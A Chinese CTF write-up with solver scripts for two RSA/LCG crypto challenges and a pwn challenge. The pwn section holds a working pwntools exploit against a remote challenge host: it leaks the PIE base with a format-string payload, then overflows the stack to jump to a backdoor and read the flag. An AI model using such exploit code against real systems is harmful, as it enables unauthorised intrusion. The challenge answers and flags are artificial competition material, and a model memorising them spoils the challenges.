Crypto

奇怪的sar

首先就是一个lcg，求出seed，seed就是p,q异或的值，还已知n=pq,然后找一个已知seed=p^q,n=pq的脚本分解n，然后RSA得flag

lcg

https://blog.csdn.net/superprintf/article/details/108964563一堆LCG的脚本

#sage
n =  137670797028117726329534659376416493367957852768263083700434198723955223922183386928456013703791817601151754417828367188186912209697081337658512940425529211281290630976671911327606706953154608427885071841566358882014021242768190762103365969320014710368160869517966437591299370072284930202718943785099916898209
output =  [101737402423360536260958229788866250367716256968287178187558336481872788309727545478736771692477306412259739856568227009850831432381180909815512654609798228982433082928392936844193974517574281026029228179913579225687286945054175762659252515268270399329404664775893089132101252158524000295899895962104782878103, 37355684997487259669354747104430314505839306993101096210478266975184357608742619438151118843905165289324251734149329596611854110739738607745107961453008343886403511257039401245484528985856920723694142989180291902939107642020398816995584650913417698279936585230648639613028793148102494100898288564799111024672, 58677759595639211550435023449462812079890625834313820227189340593596480924226619376872336960357021314847975570175387751632125898437020801920862764666175594874885587518469384576361008639967382152477408865298759987606155830674598034578657554841283906976808719095766296677147076808250022898199866472085742989883, 61841632061818470036288407041172200048676249787061823756736224887116113640875444187463656719652972233582538657844183320242896612625995507633237074900538692102956750184024574603018257213912795847625926653585010890014291951218199774765624860625726555381815237888483974246173727262881650634287497285246796321130, 7618244158597756867387754433401378508070531356170836765779245254233413235386172690733378371343899289510629513166609513857423499004879497768588665836034791151090648182168421570449377835494883902907064269417199065924565304966242954268460876762295575715334403142360198583318323418975108290758222653083011275844, 106276841058222138994123556391380518368163552919305398852484130331884811278068151915582752795463570013359693610495645946230044828403849434903415989487924763756589202218361370725532394478569304449884620166937809374355282324069422109879874964479199929174533104879048175102339134830614476339153367475243140156049, 54574757236475194407137831004617398270525645136836468973535243574661043352422598443323384197261529289829451787586618886007968913414366545291507686451774653217577858375086817168124727394445167274831801876424578654786480330913650363551771258617533162477541882336257099777912519011890593910515860435759936717781, 15567087904962670212229825713697043597876172881256160613623383896576159414077875401117959132252949501643234465895697270909085179587988268864498823765197994781747034644583869111599516151129007414228897958635533561248099927507725880289417298814703767549313482346652043188826434944367260731729064673486516315207, 10757138067445225320504771816863593606847219020279502671965413470243269270456133564739090471033889069283122519782525412134604896073598293410977787230108853737796640474070194546344190858079847734817109910030714675258996740807873872365037296486121580542250452443305370358407408558223735250474249180772656905880, 68097848963949068260912124852455363245291187860801223898468533992003737157497436432969031551088942445561676359631354280979357356539429863946694570097104716411407829017684705171462511875250672979623888463245258237680782731827727876526411531354910982579164963119481534453651300645314177478026462894232377307020]

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
a=(output[2]-output[1])*MMI((output[1]-output[0]),n)%n
ani=MMI(a,n)
b=(output[1]-a*output[0])%n
seed = (ani*(output[0]-b))%n
print(seed)

求得seed

39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116

然后在GitHub上找分解n的脚本

#!/usr/bin/env python3
import gmpy2
import libnum

import math
import sys

def check_cong(k, p, q, n, xored=None):
    kmask = (1 << k) - 1
    p &= kmask
    q &= kmask
    n &= kmask
    pqm = (p*q) & kmask
    return pqm == n and (xored is None or (p^q) == (xored & kmask))

def extend(k, a):
    kbit = 1 << (k-1)
    assert a < kbit
    yield a
    yield a | kbit

def factor(n, p_xor_q):
    tracked = set([(p, q) for p in [0, 1] for q in [0, 1]
                   if check_cong(1, p, q, n, p_xor_q)])

    PRIME_BITS = int(math.ceil(math.log(n, 2)/2))

    maxtracked = len(tracked)
    for k in range(2, PRIME_BITS+1):
        newset = set()
        for tp, tq in tracked:
            for newp_ in extend(k, tp):
                for newq_ in extend(k, tq):
                    # Remove symmetry
                    newp, newq = sorted([newp_, newq_])
                    if check_cong(k, newp, newq, n, p_xor_q):
                        newset.add((newp, newq))

        tracked = newset
        if len(tracked) > maxtracked:
            maxtracked = len(tracked)
    print('Tracked set size: {} (max={})'.format(len(tracked), maxtracked))

    # go through the tracked set and pick the correct (p, q)
    for p, q in tracked:
        if p != 1 and p*q == n:
            return p, q

    assert False, 'factors were not in tracked set. Is your p^q correct?'

def main():
    n = 24044063028844014127418595700558729326190738802687551098858513077613750188240082663594575453404975706225242363463089392757425008423696150244560748490108425645064339883915929498539109384801415313004805586193044292137299902797522618277016789979196782551492020031695781792205215671106103568559626617762521687128199445018651010056934305055040748892733145467040663073395258760159451903432330506383025685265502086582538667772105057401245864822281535425692919273252955571196166824113519446568745718898654447958192533288063735350717599092500158028352667339959012630051251024677881674246253876293205648190626145653304572328397
    seed = 39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116
    c = 14883053247652228283811442762780942186987432684268901119544211089991663825267989728286381980568977804079766160707988623895155236079459150322336701772385709429870215701045797411519212730389048862111088898917402253368572002593328131895422933030329446097639972123501482601377059155708292321789694103528266681104521268192526745361895856566384239849048923482217529011549596939269967690907738755747213669693953769070736092857407573675987242774763239531688324956444305397953424851627349331117467417542814921554060612622936755420459029769026126293588814831034143264949347763031994934813475762839410192390466491651507733968227
    p, q = factor(n, seed)
    phi=(p-1)*(q-1)
    print(p)
    print(q)
    d=gmpy2.invert(65537,phi)
    m=pow(c,d,p*q)
    print(libnum.n2s(int(m)))

if __name__ == '__main__':
    main()

得到flag

flag{y0u_kn0w_Pruning_and_lcg}

HaM3

这种题目已经遇到过好多次，这里有一个十分相似的题

https://blog.cryptohack.org/cryptoctf2021-easy#hamul

但是这里需要爆破三位

exp1

这个exp是按照https://blog.cryptohack.org/cryptoctf2021-easy#hamul这个写的，速度十分的快

from Crypto.Util.number import *
n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-18:]
high = str(n)[:18]
pq_prob = []
for i in range(10):  #爆破
    for j in range(10):
        for p in range(10):
            pq_prob.append(int(high + str(i) + str(j)+ str(p)+low))

for x in pq_prob:
    f = factor(int(x))
    if (len(f) == 2 and f[0][0].nbits() == 64) :
        p, q = f[0][0], f[1][0]
        break

P = int(str(p) + str(q))
Q = int(str(q) + str(p))
PP = int(str(P) + str(Q))
QQ = int(str(Q) + str(P))
N = PP * QQ
print(PP)
print(QQ)
phi = (PP-1) * (QQ-1)
e=65537
d = inverse(e, phi)
m = pow(c, d,PP*QQ)
print(N == n)
print(long_to_bytes(int(m)))

exp2

这个exp是我自己存的这个类型的脚本，但是跑出来的速度慢一点

主要是因为这个脚本每次都要判断x是否能分解，能分解的话还判断是否正确，所以有点慢

上面那个脚本是首先把所有结果存到一个列表里然后进行分解判断，所以速度较快

from Crypto.Util.number import *
n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-18:]
high = str(n)[:18]

for i in range(10):  #爆破
    for j in range(10):
        for p in range(10):
            x=int(high + str(i) + str(j)+ str(p)+low)
            f = factor(int(x))
            if (len(f) == 2 and f[0][0].nbits() == 64) :
                p, q = f[0][0], f[1][0]
                P = int(str(p) + str(q))
                Q = int(str(q) + str(p))
                PP = int(str(P) + str(Q))
                QQ = int(str(Q) + str(P))
                N = PP * QQ
                if N ==n:
                    break

phi = (PP-1) * (QQ-1)
e=65537
d = inverse(e, phi)
m = pow(c, d,PP*QQ)
print(long_to_bytes(int(m)))

flag{HaMbu2g3r_1S_2ea1ll_D3lci0U3_By_R3A!!}

PWN

陕西游玩

用2的格式化字符串漏洞泄露基地址,绕过pie,用1进行栈溢出,返回shanxi函数的后门

from pwn import *
context(log_level = 'debug')

# p = process('pwn1')

p = remote('121.196.192.181',10001)

elf = ELF('pwn1')

key = "choice :"
p.sendlineafter(key,b'2')
p.sendafter("rs\n",b'%11$p')
base = int(p.recv(14).decode(),16) - 0x13a0
success("base-->" + hex(base))
p.sendlineafter(key,b'1')
payload = cyclic(0x28) + p64(base +0x129a)
p.send(payload)
p.interactive()

然后ls,发现有flag,然后cat flag